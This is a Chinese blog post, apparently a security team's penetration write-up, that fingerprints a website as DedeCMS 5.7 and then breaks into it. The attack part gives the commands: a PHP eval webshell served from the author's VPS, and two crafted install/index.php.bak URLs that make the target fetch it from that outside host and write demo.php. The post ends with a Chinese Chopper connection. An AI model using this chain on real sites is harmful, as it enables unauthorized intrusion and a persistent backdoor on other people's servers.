前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >从信息收集到getshell

从信息收集到getshell

作者头像
Khan安全团队
发布2020-03-20 17:19:35
1.2K0
发布2020-03-20 17:19:35
举报

我不涉生活的险,退而结茧

成吉思航

00x01 信息收集

拿到目标url云悉指纹搞一波,指纹没匹对出来,回到网站

虽然没匹对出指纹,但随便浏览个网页看到url总感觉是什么

那就谷歌一下

灵感不就来了,那么初步判断有可能是dedecms尝试了几个dedecms的目录,均是not found

既然是开源的,那我就去找下源码,看看

看到有个robots.txt,看一眼

还真有,那就匹对一下,八九不离十,在看看member还是没有,访问都没有结果,上个御剑扫一下目录看看,

看到个photo我觉得大有文章,访问一下

我的天啊,出来了,还真是dedecms,访问url确定一下:

没错了,确定为织梦CMS搭建的网站,那怎么确定用的织梦什么版本呢,我们可以这样判断

photo/data/admin/ver.txt

Google搜索一下,锁定一下版本应该为5.7左右

确定了版本之后,其实我们从前面的信息(容器版本:apache2.2,存在install文件)可以大致的锁定一个漏洞----织梦远程包含漏洞

00x02 Getshell

利用条件:首先,是目标站安装完cms后并没有删除install文件夹,其次网站建站容器版本过低,当Apache检测到一个文件有多个扩展名时,如1.php.bak,会从右向左判断,直到有一个apache认识的扩展名。

我觉得基本稳了,开干。

在外网VPS创建一个文件dedecms/demodata.a.txt
具体操作如下:
1 mkdir dedecms
2 echo "<?php @eval($_POST[cmd]);?>">dedecms/demodata.a.txt
3 python3 -m http.server

访问如下url:

http://xxx.com/photo/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php
http://xxx.com/photo/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=demo.php&updateHost=http://VPS/

如果成功的话,即可生成/install/demo.php,我觉得没问题了,上菜刀

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-03-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Khan安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
容器服务
腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档